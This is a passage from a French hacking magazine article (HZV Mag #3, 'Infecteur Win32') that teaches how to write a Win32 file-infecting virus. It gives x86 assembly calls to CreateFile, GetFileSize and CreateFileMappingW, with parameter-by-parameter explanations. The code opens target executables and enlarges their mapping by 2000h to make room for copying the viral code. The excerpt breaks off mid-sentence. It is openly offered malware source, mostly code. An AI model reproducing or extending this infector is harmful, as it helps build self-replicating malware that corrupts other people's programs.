HZV Mag #3 - HZV / Hackerzvoice / The Hackademy

HZV Mag #3
Infecteur Win32: - par Kernel Junky
Push n°4 : Pointeur de structure, elle n’est
pas nécessaire si l’on ouvre un fichier déjà
existant.
Push n°5 : Correspond au paramètre
FILE_SHARE_READ, c'est-à-dire que Create-
File pourra nous renvoyer un handle même
si l’application que l’on tente d’ouvrir est
déjà exécutée par un processus.
Push n°6 : Correspond auxparamètres
GENERIC_READ / GENERIC_WRITE, c'est-àdire
les accès que l’on désire sur le handle,
étant donné que l’on va modifier notre fichier,
les deux paramètres sont nécessaires.
Push n°7 : Le nom du fichier que l’on
tente d’ouvrir.
Notons également l’instruction CMP comparant
EAX à -1, il s’agit simplement du contrôle d’erreur:
en cas d’échec de la fonction on quitte et
on passe au fichier suivant. Une fois le handle
récupéré, nous allons avoir besoin de connaître
la taille du fichier que nous allons mapper, cela
va nous permettre d’allouer un espace mémoire
suffisant pour le stockage en mémoire de celuici.
La fonction qui permet cela est GetFileSize.
Elle prend en paramètre un des champs de
la structure renvoyé par FindFirstFile ainsi
que le handle précédemment obtenu. Encore
:
xor ecx, ecx
mov ecx, win32FindData.
nFileSizeHigh
push ecx
push eax
call aGetFileSize
cmp eax, -1
je InfectCloseFileHandle
mov FileSize, eax
une fois, il y a un contrôle d’erreur permettant
de clore le handle et de quitter la procédure.
Nous allons maintenant obtenir un deuxième
handle afin de mapper notre fichier.
Cette fonction ne mappe pas le fichier en mémoire,
elle donne uniquement un handle sur le
fichier et initialise les permissions que l’on a sur
celui-ci. Elle nous permet également de configurer
la taille du fichier à mapper, ici nous ajoutons
2000h à la taille original du fichier afin d’être
sur d’avoir la place de copier notre code viral.
:
push 00h
mov eax, FileSize
add eax, 2000h
push eax
push 00h
push 04h
push 00h
mov eax, fileHandle
push eax
call aCreateFileMappingW
cmp eax, 0
je InfectCloseFileHandle
mov mapHandle, eax
Rapides explications des paramètres de
notre appel (dans l’ordre des PUSH) :
Push n°1 : Par défaut, donc nul
Push n°2 : Correspond à la taille du fichier +
2000h afin d’assurer nos arrières pour la copie
du virus.
Push n°3 : Paramètre utile en cas de gros
fichier (non utilisé, donc nul)
Push n°4 : Correspond au paramètres PAGE_
READWRITE, c'est-à-dire l’équivalant des paramètres
passés à CreateFile afin de pourvoie
lire et modifier le fichier.
Push n°5 : Par défaut, donc nul
Ç retour au sommaire
Push n°6 : le handle obtenu via l'appel à
CreateFile.
Encore une fois, un contrôle d’erreur pour quitter
proprement notre procédure en fermant
les handles ouverts est implémenté. Une fois
notre handle récupéré, nous allons enfin pouvoir
mapper notre exécutable en mémoire,
12